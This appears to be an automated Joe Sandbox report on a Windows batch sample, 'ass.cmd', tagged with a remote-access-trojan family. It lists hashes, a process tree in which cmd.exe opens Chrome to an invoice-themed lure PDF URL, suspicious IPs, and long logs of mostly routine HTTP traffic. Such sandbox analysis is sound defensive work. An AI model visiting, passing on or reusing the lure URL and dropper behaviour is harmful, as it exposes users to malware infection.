Edit tour

Windows Analysis Report
ass.cmd

Overview

General Information

Sample name:	ass.cmd
Analysis ID:	1542800
MD5:	25b8c6047b4ade5de627c34e01057d61
SHA1:	a90b86bd9933349484e40a19500e700abc5e5e75
SHA256:	1674fb99e589704d0ac50bd2899e3f10a3f623a85266c66599ab0288699b6b63
Tags:	CloudflareTunnelsRATcmduser-JAMESWT_MHT
Infos:

Detection

Score:	2
Range:	0 - 100
Whitelisted:	false
Confidence:	60%

Signatures

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7136 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\ass.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 6148 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7180 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2612 --field-trial-handle=2476,i,8966807977756366984,10787643542951515386,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

timeout.exe (PID: 6668 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: https://s2r.tn/cgi/INVOICERVSHA.pdf

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49895 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 70.38.21.234 70.38.21.234
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: global traffic	HTTP traffic detected: GET /cgi/INVOICERVSHA.pdf HTTP/1.1Host: s2r.tnConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: s2r.tnConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s2r.tn/cgi/INVOICERVSHA.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGUGTxVnaTUuxkx&MD=Fnl7T5MM HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
